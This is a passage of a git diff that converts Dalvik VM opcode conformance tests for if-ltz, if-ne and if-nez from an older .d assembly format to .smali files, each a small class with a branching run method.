-       if-ltz v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali
new file mode 100644
index 0000000..226a6f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_3.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-ltz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.d
deleted file mode 100644
index 804ef88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_4.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-ltz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali
new file mode 100644
index 0000000..489c738
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_4.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-ltz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.d
deleted file mode 100644
index af8e741..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_5.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-ltz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali
new file mode 100644
index 0000000..7b95a75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_5.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-ltz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.d
deleted file mode 100644
index c56730f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_6.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-ltz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali
new file mode 100644
index 0000000..14e2982
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_6.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.d
deleted file mode 100644
index f14a551..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_7.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-ltz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali
new file mode 100644
index 0000000..a847273
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_7.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.d
deleted file mode 100644
index 650e299..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_8.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-ltz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali
new file mode 100644
index 0000000..7fef8b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_8.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.d
deleted file mode 100644
index 3b4a3dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_ltz_9.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-ltz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali
new file mode 100644
index 0000000..24a57cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_ltz_9.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.d
deleted file mode 100644
index cb84784..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_1.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ne v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali
new file mode 100644
index 0000000..37f1c8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_1.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.d
deleted file mode 100644
index f42d830..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_10.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ne v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali
new file mode 100644
index 0000000..12faad4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_10.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.d
deleted file mode 100644
index 65bb0d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_ne_11.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ne v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali
new file mode 100644
index 0000000..1b76d5b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali
@@ -0,0 +1,24 @@
+.source "T_if_ne_11.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.d
deleted file mode 100644
index 0893fa4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_12.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ne v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali
new file mode 100644
index 0000000..16f28c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_12.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.d
deleted file mode 100644
index 039f954..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_2.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)I
-.limit regs 8
-
-       if-ne v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali
new file mode 100644
index 0000000..89bf9fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_2.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.d
deleted file mode 100644
index aaa66e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_4.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-ne v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali
new file mode 100644
index 0000000..c81a1a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_4.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.d
deleted file mode 100644
index 4bfefaa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_5.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ne v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali
new file mode 100644
index 0000000..5ee4463
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_5.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.d
deleted file mode 100644
index 5e57f66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_7.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-ne v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali
new file mode 100644
index 0000000..869dc5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_7.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-ne v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.d
deleted file mode 100644
index 0001b04..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_8.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-ne v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali
new file mode 100644
index 0000000..afecd19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_8.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-ne v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.d
deleted file mode 100644
index 4f3f107..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ne_9.java
-.class public dot.junit.opcodes.if_ne.d.T_if_ne_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ne v6, v5, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali
new file mode 100644
index 0000000..a6ff1e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_ne_9.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v5, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.d
deleted file mode 100644
index da15ff2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_1.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali
new file mode 100644
index 0000000..806e390
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_1.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.d
deleted file mode 100644
index 4a5a9a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_nez_10.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-nez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali
new file mode 100644
index 0000000..256450a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_nez_10.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
